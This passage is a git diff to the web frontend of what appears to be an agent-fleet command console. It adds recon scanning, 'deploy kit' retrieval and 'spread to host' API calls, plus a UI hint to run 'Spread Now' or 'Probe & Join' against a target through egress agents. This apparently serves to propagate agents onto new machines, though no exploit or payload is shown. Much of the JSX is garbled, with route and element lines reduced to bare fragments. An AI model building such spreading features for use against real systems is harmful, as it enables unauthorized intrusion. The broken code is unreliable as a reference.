+const DeployReconPage = lazy(() => import('./pages/DeployReconPage'));
export function PageFallback() {
return (
@@ -62,6 +63,8 @@ function App() {
} />
} />
} />
+ } />
+ } />
} />
} />
} />
diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts
index acd6c2b..57e38b0 100644
--- a/server/web/src/api/client.ts
+++ b/server/web/src/api/client.ts
@@ -351,6 +351,18 @@ export const api = {
}
},
+ getReconDeployKit: (params: { host: string; finding?: string }) => {
+ const q = new URLSearchParams({ host: params.host });
+ if (params.finding) q.set('finding', params.finding);
+ return fetchJSON(`/recon/deploy-kit?${q.toString()}`);
+ },
+
+ postFleetSpreadToHost: (body: import('../types/recon').FleetSpreadToHostRequest) =>
+ fetchJSON('/fleet/spread-to-host', {
+ method: 'POST',
+ body: JSON.stringify(body),
+ }),
+
listFleetModules: () => fetchJSON('/fleet/modules'),
pushFleetPolicy: (body: {
agent_ids: string[];
@@ -413,6 +425,13 @@ export const api = {
getWarRoom: (days = 7) =>
fetchJSON(`/emberwake/war-room?days=${days}`),
+ reconScan: (body: import('../types/recon').ReconScanRequest, signal?: AbortSignal) =>
+ fetchJSON(
+ '/recon/scan',
+ { method: 'POST', body: JSON.stringify(body), signal },
+ 25_000,
+ ),
+
exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => {
const res = await fetch(`${API_BASE}/builder/spread-kit-export`, {
method: 'POST',
diff --git a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx
index 3048940..0eaca98 100644
--- a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx
+++ b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx
@@ -30,6 +30,7 @@ interface FmCommandResult {
interface Props {
activeTab: 'ops' | 'recon' | 'files' | 'spread' | 'tunnels';
+ spreadHostHint?: string;
selectedAgents: Agent[];
selectedCount: number;
singleSelectedAgent: Agent | null;
@@ -51,6 +52,7 @@ interface Props {
export default function CrucibleExpandedOps({
activeTab,
+ spreadHostHint = '',
selectedAgents,
selectedCount,
singleSelectedAgent,
@@ -777,6 +779,11 @@ export default function CrucibleExpandedOps({
if (activeTab === 'spread') {
return (
+ {spreadHostHint ? (
+
+ Deploy Recon target: {spreadHostHint} — select egress agents and run Spread Now or Probe & Join.
+
+ ) : null}